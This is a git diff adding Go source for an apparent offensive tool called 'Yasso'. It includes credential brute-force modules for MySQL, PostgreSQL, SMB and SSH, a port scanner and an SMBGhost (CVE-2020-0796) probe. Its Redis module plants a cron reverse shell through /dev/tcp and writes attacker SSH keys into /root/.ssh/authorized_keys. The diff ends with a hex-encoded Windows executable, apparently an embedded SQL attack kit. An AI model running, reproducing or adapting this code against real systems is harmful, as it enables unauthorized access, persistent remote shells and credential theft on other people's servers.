&& ConnHost == ""{ + _ = cmd.Help() + }else{ + BruteMysqlByUser() + } + }, +} + +func BruteMysqlByUser(){ + if BrutePort == 0 { + BrutePort = 3306 + } + var ips []string + var err error + if Hosts != "" && ConnHost == ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("mysql",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [mysql]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("mysql",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } + if Hosts == "" && ConnHost != ""{ + if SQLCommand == "" && SQLShellBool == false { + Println("[*] try to add -C to exec sql command or -shell") + return + } + if SQLCommand != "" && SQLShellBool == false { + db,status,err := MySQLConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass) + if err != nil { + Println("mysql conn failed") + return + } + if status == true { + r,err := SQLExecute(db,SQLCommand) + if err != nil { + Println(fmt.Sprintf("sql execute failed %v",err)) + return + } + Println(r.String()) + } + } + if SQLCommand == "" && SQLShellBool == true { + db,status,err := MySQLConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass) + if err != nil { + Println("mysql conn failed") + return + } + if status == true{ + SQLshell(db,"mysql") + } + } + } +} + +func init(){ + MysqlCmd.Flags().StringVarP(&SQLCommand,"cmd","C","","mysql sql command") + MysqlCmd.Flags().StringVar(&ConnHost,"hostname","","Remote Connect a Mysql (brute param need false)") + MysqlCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username") + MysqlCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password") + MysqlCmd.Flags().BoolVar(&SQLShellBool,"shell",false,"create sql shell to exec sql command") +} + +// mysql 连接 + +func MySQLConn(info config.HostIn,user,pass string)(*sql.DB,bool ,error){ + var flag = false + address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",user,pass,info.Host,info.Port,time.Duration(info.TimeOut)) + + mysql.RegisterDialContext("tcp", func(ctx context.Context,network string) (net.Conn, error) { + return GetConn(network,info.TimeOut) + }) + + db, err := sql.Open("mysql",address) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.TimeOut)) + db.SetConnMaxIdleTime(time.Duration(info.TimeOut)) + //defer db.Close() + err = db.Ping() + if err == nil { + flag = true + } + } + return db,flag,err +} diff --git a/cmd/postgres.go b/cmd/postgres.go new file mode 100644 index 0000000..9bf0443 --- /dev/null +++ b/cmd/postgres.go @@ -0,0 +1,62 @@ +package cmd + +import ( + "Yasso/config" + "database/sql" + "fmt" + _ "github.com/lib/pq" + "github.com/spf13/cobra" + "time" +) + +var PostgreCmd = &cobra.Command{ + Use: "postgres", + Short: "PostgreSQL burst module (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == ""{ + _ = cmd.Help() + }else{ + BrutePostgreByUser() + } + }, +} + +func BrutePostgreByUser(){ + if BrutePort == 0 { + BrutePort = 5432 + } + var ips []string + var err error + if Hosts != ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("postgres",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [postgres]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("postgres",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + + + +func PostgreConn(info config.HostIn,user,pass string)(bool, error){ + var flag = false + db, err := sql.Open("postgres",fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v",user,pass,info.Host,info.Port,"postgres","disable")) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.TimeOut)) + defer db.Close() + err = db.Ping() + if err == nil { + flag = true + } + } + return flag,err +} \ No newline at end of file diff --git a/cmd/ps.go b/cmd/ps.go new file mode 100644 index 0000000..4081e49 --- /dev/null +++ b/cmd/ps.go @@ -0,0 +1,144 @@ +package cmd + +import ( + "fmt" + "github.com/panjf2000/ants/v2" + "github.com/spf13/cobra" + "math" + "net" + "sync" + "time" +) +var ( + DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,5985,6379,7001,3389,8000,8080,8089,9000,9200,11211,27017" + //AlivePort []PortResult +) + +type PortResult struct { + IP string + Port []int +} + +var PortCmd = &cobra.Command{ + Use: "ps", + Short: "The port scanning module will find vulnerable ports (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" { + _ = cmd.Help() + return + } + var ports []int + hosts ,_ := ResolveIPS(Hosts) // 解析获取ip地址 + if Ports != "" { + ports, _ = ResolvePORTS(Ports) + }else{ + ports ,_ = ResolvePORTS(DefaultPorts) + } + Println(fmt.Sprintf("Yasso resolve host len is %v,need scan %v port",len(hosts),len(hosts) * len(ports))) + if len(hosts) <= 0 || len(ports) <= 0 { + // resolve failed + return + } + var AlivePort []PortResult + AlivePort = PortScan(hosts,ports) + for _,rs := range AlivePort { + Println(fmt.Sprintf("%v %v",rs.IP,rs.Port)) + } + }, +} + +func init(){ + PortCmd.Flags().DurationVarP(&TimeDuration,"time","t",500 * time.Millisecond,"Set timeout (eg.) -t 50ms(ns,ms,s,m,h)") + PortCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + PortCmd.Flags().StringVarP(&Ports,"ports","p","","Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389") + PortCmd.Flags().IntVarP(&Runtime,"runtime","r",100,"Set scanner ants pool thread") + rootCmd.AddCommand(PortCmd) +} +// port scanner + +func PortScan(host []string,ports []int) []PortResult{ + var tempPort []PortResult + var wg sync.WaitGroup + go func() { + for _,ip := range host{ + tunnel <- ip + } + }() + for i:=0;i 2 { + dbfilename = text1[len(text1)-2] + }else{ + dbfilename = text1[0] + } + + var redisConfig = RedisConfig{ + Version: version, + OS: os, + PID: pid, + ConfigPath: install, + DbFileName: dbfilename, + } + //Println()(redisConfig) + return redisConfig +} + +// 测试利用写入是否可用 + +func RedisWrite(conn net.Conn)(cron bool,ssh bool,err error){ + var reply string + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入 + if err != nil { + return false,false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false, false, err + } + if strings.Contains(reply,"OK") { + ssh = true + } + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入 + if err != nil { + return false,ssh,err + } + reply, err = RedisReply(conn) + if err != nil { + return false, ssh, err + } + if strings.Contains(reply,"OK") { + cron = true + } + return cron,ssh,nil +} + +// 计划任务写入 + + + +func RedisExploit(conn net.Conn,RemoteHost string,Filename string){ + // 测试写入 + cron,ssh,err := RedisWrite(conn) + // 上述返回3个值,返回c,s,e,c是corn的值,s是ssh写入,e是err + if err != nil { + Println(fmt.Sprintf("Redis Write Testing failed %v",err)) + return + } + var ( + status bool + ) + if RemoteHost != "" && cron == true { + status,err = RedisCron(conn,RemoteHost) + if status == true { + Println("[+] Write Rebound shell address Success") + return + }else{ + Println("[x] Redis Write Rebound shell address failed") + return + } + } + if Filename != "" && ssh == true { + status, err = RedisKey(conn,Filename) + if status == true { + Println("[+] Write ssh key Success") + return + }else{ + Println("[x] Redis ssh key failed") + return + } + } +} + + +func RedisCron(conn net.Conn,RemoteHost string) (bool ,error){ + c,s, e := RedisWrite(conn) + Println(fmt.Sprintf("%v %v %v",c,s,e)) + // 先解析RemoteHost参数 + var ( + remote = strings.Split(RemoteHost, ":") + flag = false + reply string + host string + port string + ) + if len(remote) == 2 { + host , port = remote[0],remote[1] + }else{ + return false,errors.New("remote host address is not like 192.160.1.1:4444") + } + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) + if err != nil { + return false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"+OK") { // redis可写定时计划任务 + // 存在定时计划写入 + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) + if err != nil{ + return false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false,err + } + // 数据库设置成功 + if strings.Contains(reply,"+OK") { + // 写入定时计划任务 + _, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",host,port))) + if err != nil { + return false,err + } + reply , err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"+OK") { + _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) + if err != nil { + return false,err + } + reply , err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"OK") { + flag = true + } + } + } + } + return flag,nil +} +// 公钥写入 + +func RedisKey(conn net.Conn,filename string)(bool,error){ + var flag = false + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) + if err != nil { + return false,err + } + reply, err := RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply,"OK"){ + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) + if err != nil { + return false,err + } + reply, err := RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"OK"){ + key, err := ReadKeyFile(filename) + if err != nil { + return false,err + } + if len(key) == 0 { + return false,errors.New(fmt.Sprintf("the keyfile %s is empty", filename)) + } + _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) + if err != nil { + return false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"OK"){ + // 保存 + _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) + if err != nil { + return false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"OK"){ + flag = true + } + } + } + } + return flag,nil +} + + +func ReadKeyFile(filename string) (string, error) { + file, err := os.Open(filename) + if err != nil { + return "", err + } + defer file.Close() + scanner := bufio.NewScanner(file) + for scanner.Scan() { + text := strings.TrimSpace(scanner.Text()) + if text != "" { + return text, nil + } + } + return "", err +} \ No newline at end of file diff --git a/cmd/resolve.go b/cmd/resolve.go new file mode 100644 index 0000000..3b22b92 --- /dev/null +++ b/cmd/resolve.go @@ -0,0 +1,158 @@ +package cmd + +import ( + "errors" + "net" + "regexp" + "strconv" + "strings" +) + +func ResolveIPS(ip string)([]string,error){ + reg := regexp.MustCompile(`[a-zA-Z]+`) + switch { + case strings.Contains(ip,"/"): + return resolveIP(ip) + case strings.Count(ip,"-") == 1: + return resolveIPC(ip) + case reg.MatchString(ip): + _, err := net.LookupHost(ip) + if err != nil { + return []string{},err + } + return []string{ip},nil + default: + var isip = net.ParseIP(ip) + if isip == nil { + return []string{},errors.New("input format is not ccorrect") + } + return []string{ip},nil + } +} + +// 解析192.168.1.1/*的格式 + +func resolveIP(ip string)([]string, error){ + var ip4 = net.ParseIP(strings.Split(ip,"/")[0]) // [192.168.1.1 *] + if ip4 == nil { + return []string{},errors.New("not an ipv4 address") + } + var footmark = strings.Split(ip,"/")[1] // * + var temp []string + var err error + switch footmark { + case "24": + var ip3 = strings.Join(strings.Split(ip[:len(ip)],".")[0:3],".") + for i:=0;i<=255;i++{ + temp = append(temp,ip3+"."+strconv.Itoa(i)) + } + err = nil + case "16": + var ip2 = strings.Join(strings.Split(ip[:len(ip)],".")[0:2],".") + for i:=0;i<=255;i++{ + for j:=0;j<=255;j++{ + temp = append(temp,ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j)) + } + } + err = nil + default: + temp = []string{} + err = errors.New("not currently supported") + } + return temp,err +} + +// 解析192.168.1.1-*格式 + +func resolveIPC(ip string)([]string, error){ + var ip4 = strings.Split(ip,"-") + var ipA = net.ParseIP(ip4[0]) + if ip4 == nil { + return []string{},errors.New("not an ipv4 address") + } + var temp []string + if len(ip4[1]) < 4 { + iprange, err := strconv.Atoi(ip4[1]) + if ipA == nil || iprange > 255 || err != nil { + return []string{},errors.New("input format is not ccorrect") + } + var splitip = strings.Split(ip4[0],".") + ip1, err1 := strconv.Atoi(splitip[3]) + ip2, err2 := strconv.Atoi(ip4[1]) + prefixip := strings.Join(splitip[0:3],".") + if ip1 > ip2 || err1 != nil || err2 != nil { + return []string{},errors.New("input format is not ccorrect") + } + for i:=ip1;i<=ip2;i++{ + temp = append(temp,prefixip + "." + strconv.Itoa(i)) + } + }else{ + var splitip1 = strings.Split(ip4[0],".") + var splitip2 = strings.Split(ip4[1],".") + if len(splitip1) != 4 || len(splitip2) != 4 { + return []string{},errors.New("input format is not ccorrect") + } + start, end := [4]int{},[4]int{} + for i:= 0;i < 4 ;i++{ + ip1, err1 := strconv.Atoi(splitip1[i]) + ip2, err2 := strconv.Atoi(splitip2[i]) + if ip1 > ip2 || err1 != nil || err2 != nil { + return []string{},errors.New("input format is not ccorrect") + } + start[i],end[i] = ip1,ip2 + } + startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] + endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] + for num := startNum; num <= endNum; num++ { + ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff) + temp = append(temp, ip) + } + } + return temp,nil +} + +func RemoveDuplicate(old []int) []int { + result := make([]int, 0, len(old)) + temp := map[int]struct{}{} + for _, item := range old { + if _, ok := temp[item]; !ok { + temp[item] = struct{}{} + result = append(result, item) + } + } + return result +} + + +// 解析为445,69,72-15这种以逗号隔开的端口 + +func ResolvePORTS(ports string)([]int,error){ + var scanPorts []int + slices := strings.Split(ports, ",") + for _, port := range slices { + port = strings.Trim(port, " ") + upper := port + if strings.Contains(port, "-") { + ranges := strings.Split(port, "-") + if len(ranges) < 2 { + continue + } + startPort, _ := strconv.Atoi(ranges[0]) + endPort, _ := strconv.Atoi(ranges[1]) + if startPort < endPort { + port = ranges[0] + upper = ranges[1] + } else { + port = ranges[1] + upper = ranges[0] + } + } + start, _ := strconv.Atoi(port) + end, _ := strconv.Atoi(upper) + for i := start; i <= end; i++ { + scanPorts = append(scanPorts, i) + } + } + scanPorts = RemoveDuplicate(scanPorts) + return scanPorts,nil +} diff --git a/cmd/root.go b/cmd/root.go new file mode 100644 index 0000000..eef9bf7 --- /dev/null +++ b/cmd/root.go @@ -0,0 +1,44 @@ +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" + "os" + "time" +) +var ( + TimeDuration time.Duration // 超时时间 + Hosts string // 全局host变量 + RunICMP bool // 是否执行ICMP + Ports string // 需要解析的端口 + Runtime int // 运行的线程 + LogBool bool // 是否使用日志 + PingBool bool // 是否执行ping操作 + UserDic string // 爆破的用户名路径 + PassDic string // 爆破的密码路径 + BruteFlag bool // 是否进行爆破 + ConnHost string // 单独变量的链接地址 + BrutePort int // 爆破使用的端口 + LoginUser string // 登陆使用的用户 + LoginPass string // 登陆使用的密码 + LoginPublicKey string // 登陆使用的公钥路径 + ProxyHost string // 代理地址 user:pass@ip:port 格式 + SQLShellBool bool // 是否启动sql—shell + SQLCommand string // sql语句单条命令行 + WinRMbool bool // winrm shell +) + + +var rootCmd = &cobra.Command{ + Use: "Yasso", + Short: "\n __ __ ______ ______ ______ ______ \n/\\ \\_\\ \\ /\\ __ \\ /\\ ___\\ /\\ ___\\ /\\ __ \\ \n\\ \\____ \\ \\ \\ __ \\ \\ \\___ \\ \\ \\___ \\ \\ \\ \\/\\ \\ \n \\/\\_____\\ \\ \\_\\ \\_\\ \\/\\_____\\ \\/\\_____\\ \\ \\_____\\ \n \\/_____/ \\/_/\\/_/ \\/_____/ \\/_____/ \\/_____/ \n \n", +} + +func Execute(){ + if err := rootCmd.Execute();err != nil { + Println(fmt.Sprintf("%v",err)) + os.Exit(1) + } +} + + diff --git a/cmd/smb.go b/cmd/smb.go new file mode 100644 index 0000000..5bce8c8 --- /dev/null +++ b/cmd/smb.go @@ -0,0 +1,92 @@ +package cmd + +import ( + "Yasso/config" + "errors" + "fmt" + "github.com/spf13/cobra" + "github.com/stacktitan/smb/smb" + "time" +) + + +/* +模块完成时间2021年12月28日,主要用于smb爆破,扫描445端口,似乎不能走socks5代理 +*/ + + +var SmbCmd = &cobra.Command{ + Use: "smb", + Short: "Smb burst module (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == ""{ + _ = cmd.Help() + }else{ + BruteSmbByUser() + } + }, +} + +func BruteSmbByUser(){ + if BrutePort == 0 { + BrutePort = 445 + } + var ips []string + var err error + if Hosts != ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("smb",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [smb]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("smb",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + +func SmbConn(info config.HostIn,user,pass string)(bool,error){ + signal := make(chan struct{}) + var ( + flag bool + err error + ) + go func() { + flag, err = DialSmbTimeOut(info,user,pass,signal) + }() + select { + case <- signal: + return flag,err + case <-time.After(1 * time.Second): + return false,errors.New("smb conn time out") + } +} + + + +func DialSmbTimeOut(info config.HostIn,user,pass string,signal chan struct{}) (bool, error){ + var flag = false + options := smb.Options{ + Host: info.Host, + Port: 445, + User: user, + Password: pass, + Domain: info.Domain, + Workstation: "", + } + session, err := smb.NewSession(options,false) + if err == nil { + session.Close() + if session.IsAuthenticated { + flag = true + } + } + signal <- struct{}{} + return flag,err +} diff --git a/cmd/smbghost.go b/cmd/smbghost.go new file mode 100644 index 0000000..6a8dc53 --- /dev/null +++ b/cmd/smbghost.go @@ -0,0 +1,120 @@ +package cmd + +import ( + "Yasso/config" + "bytes" + "fmt" + "time" +) + +const ( + pkt = + "\x00" + // session + "\x00\x00\xc0"+ // legth + + "\xfeSMB@\x00"+ // protocol + + //[MS-SMB2]: SMB2 NEGOTIATE Request + //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5 + + "\x00\x00" + + "\x00\x00" + + "\x00\x00" + + "\x00\x00" + + "\x1f\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + + // [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7 + + "$\x00" + + "\x08\x00" + + "\x01\x00" + + "\x00\x00" + + "\x7f\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "x\x00" + + "\x00\x00" + + "\x02\x00" + + "\x00\x00" + + "\x02\x02" + + "\x10\x02" + + "\x22\x02" + + "$\x02" + + "\x00\x03" + + "\x02\x03" + + "\x10\x03" + + "\x11\x03" + + "\x00\x00\x00\x00" + + + + // [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5 + + "\x01\x00" + + "&\x00" + + "\x00\x00\x00\x00" + + "\x01\x00" + + "\x20\x00" + + "\x01\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00" + + + // [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271 + + "\x03\x00" + + "\x0e\x00" + + "\x00\x00\x00\x00" + + "\x01\x00" + //CompressionAlgorithmCount + "\x00\x00" + + "\x01\x00\x00\x00" + + "\x01\x00" + //LZNT1 + "\x00\x00" + + "\x00\x00\x00\x00" +) + +func SmbGhostConn(info config.HostIn) bool { + conn, err := GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut) + if err != nil { + return false + }else{ + defer conn.Close() + conn.Write([]byte(pkt)) + buff := make([]byte, 1024) + err = conn.SetReadDeadline(time.Now().Add(2 * time.Second)) + n, err := conn.Read(buff) + if err != nil { + //Println(err.Error()) // Profound analysis + } + + if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true { + Println(fmt.Sprintf("[+] %s Find CVE-2020-0796",info.Host)) + return true + } else { + //Println(ip + " Not Vulnerable") + return false + } + } +} \ No newline at end of file diff --git a/cmd/ssh.go b/cmd/ssh.go new file mode 100644 index 0000000..dc10fdf --- /dev/null +++ b/cmd/ssh.go @@ -0,0 +1,198 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/spf13/cobra" + "golang.org/x/crypto/ssh" + "golang.org/x/crypto/ssh/terminal" + "io/ioutil" + "os" + "path" +) + +/* +模块完成时间2021年12月28日,主要用于ssh爆破,连接,扫描22端口 +*/ + +var SshCmd = &cobra.Command{ + Use: "ssh", + Short: "SSH burst and SSH extend tools (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" && ConnHost == "" { + _ = cmd.Help() + }else{ + BruteSshByUser() + } + }, +} + +func init(){ + SshCmd.Flags().StringVar(&ConnHost,"hostname","","Open an interactive SSH at that address(brute param need false)") + SshCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username") + SshCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password") + SshCmd.Flags().StringVar(&LoginPublicKey,"key","","ssh public key path") +} + + + +func BruteSshByUser() { + if BrutePort == 0 { + BrutePort = 22 + } + var ips []string + var err error + if Hosts != "" && ConnHost == ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("ssh",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [ssh]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("ssh",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } + if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true { + if LoginUser != "" && LoginPass != "" { + client,status,err := SshConnByUser(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass) + if err != nil { + Println(fmt.Sprintf(Clearln + "[-] Login ssh failed %v",err)) + return + } + if status == true { + //认证成功 + SshLogin(client) + }else { + Println(Clearln + "[-] The username or password is incorrect") + return + } + } + if LoginPublicKey != "" && LoginUser != "" { + client,status, err := sshConnByKey(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration,PublicKey: LoginPublicKey},LoginUser) + if err != nil { + Println(fmt.Sprintf(Clearln + "[-] Login ssh failed %v",err)) + return + } + if status == true { + //认证成功 + SshLogin(client) + return + }else { + Println(Clearln + "[-] The username or password is incorrect") + return + } + } + } + if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == ""){ + Println(Clearln + "[*] May be you want login ssh? try to add user and (user' key) or (user' pass)") + return + } +} + +func SshConnByUser(info config.HostIn,user,pass string)(*ssh.Client,bool,error){ + // 走socks5代理的ssh连接 + sshConfig := &ssh.ClientConfig{User: user,Auth: []ssh.AuthMethod{ssh.Password(pass)},HostKeyCallback: ssh.InsecureIgnoreHostKey(),Timeout:info.TimeOut} + con, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut) + if err != nil { + return nil,false,err + } + c,ch,re,err := ssh.NewClientConn(con,fmt.Sprintf("%v:%v",info.Host,info.Port),sshConfig) + if err != nil { + return nil,false,err + } + return ssh.NewClient(c,ch,re),true,err +} + +func sshConnByKey(info config.HostIn,user string)(*ssh.Client,bool,error){ + var ( + err error + HomePath string + key []byte + ) + switch { + case info.PublicKey == "": + HomePath, err = os.UserHomeDir() + if err != nil { + return nil,false,err + } + key, err = ioutil.ReadFile(path.Join(HomePath,".ssh","id_rsa")) + if err != nil { + return nil,false,err + } + case info.PublicKey != "": + key, err = ioutil.ReadFile(info.PublicKey) + if err != nil { + return nil,false,err + } + } + signer, err := ssh.ParsePrivateKey(key) + if err != nil { + return nil,false,err + } + sshConfig := &ssh.ClientConfig{ + User: user, + Auth:[]ssh.AuthMethod{ + ssh.PublicKeys(signer), + }, + Timeout: info.TimeOut, + HostKeyCallback: ssh.InsecureIgnoreHostKey(), + } + con, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut) + if err != nil { + return nil,false,err + } + + c,ch,re,err := ssh.NewClientConn(con,fmt.Sprintf("%v:%v",info.Host,info.Port),sshConfig) + if err != nil { + return nil,false,err + } + return ssh.NewClient(c,ch,re),true,err +} + + +// ssh 完全交互式登陆 + +func SshLogin(client *ssh.Client) { + defer client.Close() + session, err := client.NewSession() + if err != nil { + Println(fmt.Sprintf("new ssh session failed %v",err)) + return + } + defer session.Close() + session.Stdout = os.Stdout + session.Stderr = os.Stderr + session.Stdin = os.Stdin + modes := ssh.TerminalModes{ + ssh.ECHO: 1, + ssh.TTY_OP_ISPEED: 14400, + ssh.TTY_OP_OSPEED: 14400, + ssh.VSTATUS: 1, + } + fd := int(os.Stdin.Fd()) + oldState, err := terminal.MakeRaw(fd) + if err != nil { + Println(fmt.Sprintf("terminal failed %v",err)) + } + defer terminal.Restore(fd,oldState) + w,h ,err := terminal.GetSize(fd) + if err = session.RequestPty("xterm-256color",h,w,modes);err != nil { + Println(fmt.Sprintf("Session Request new xterm failed %v",err)) + return + } + if err = session.Shell(); err != nil { + Println(fmt.Sprintf("Session start shell failed %v",err)) + return + } + if err = session.Wait();err != nil { + Println(fmt.Sprintf("Session wait failed %v",err)) + return + } +} + + diff --git a/cmd/static/SharpSQLKit.txt b/cmd/static/SharpSQLKit.txt new file mode 100644 index 0000000..6aa9d5c --- /dev/null +++ b/cmd/static/SharpSQLKit.txt @@ -0,0 +1 @@ +4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103009CD90B610000000000000000E00002210B010B0000D0010000060000000000004EEE010000200000000002000000001000200000000200000400000000000000040000000000000000400200000200000000000003004085000010000010000000001000001000000000000010000000000000000000000000EE01004B00000000000200B002000000000000000000000000000000000000002002000C000000C8EC01001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000054CE01000020000000D0010000020000000000000000000000000000200000602E72737263000000B0020000000002000004000000D20100000000000000000000000000400000402E72656C6F6300000C000000002002000002000000D60100000000000000000000000000400000420000000000000000000000000000000030EE0100000000004800000002000500B8CB0000102101000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133004006D000000010000111200FE15040000021200047D020000041200057D030000041200177D050000041200147D0600000412000E047D070000041200147D090000040317120016280100000616FE0116FE010B072C10280900000A72010000706F0A00000A2A280900000A722D0000706F0A00000A2A0000001330050045000000020000111200FE15030000021200057D01000004030419120017280200000616FE0116FE010B072C10280900000A725D0000706F0A00000A2A280900000A72990000706F0A00000A2A1E02280B00000A2A00000013300500200000000300001173050000060A72D90000700B06140203146F03000006061407026F040000062A1E02280B00000A2A1B300400A50000000400001102280D00000A74240000010A066F0E00000A74260000010B076F0F00000A0C0318731000000A0D20000400008D2A00000113040811041611048E696F1100000A13052B1A0911041611056F1200000A0811041611048E696F1100000A130511051630E1096F1300000A086F1300000A076F1400000A066F1500000A171307DE221306280900000A72F700007011066F1600000A281700000A6F0A00000A161307DE0011072A0000000110000000000000808000222C000001A6020328080000062C10280900000A72150100706F0A00000A2A280900000A723F0100706F0A00000A2A1E02280B00000A2A0000133002001900000005000011281800000A0A06731900000A0B0720200200006F1A00000A2A0000001B3004007E0000000600001103281B00000A2C1B280900000A726301007003281C00000A6F0A00000A03281D00000A02281E00000A0A0317731000000A0B071716731F00000A0C080616068E696F1200000ADE0A082C06086F2000000ADCDE0A072C06076F2000000ADCDE1D0D280900000A72C1010070096F2100000A281C00000A6F0A00000ADE002A00000128000002003B000D48000A00000000020032002254000A00000000000000006060001D2C0000011B3007004F02000007000011150A7E2200000A0B160C140D061533137215020070282300000A13041104169A0D2B2806282400000A0DDE1F1305280900000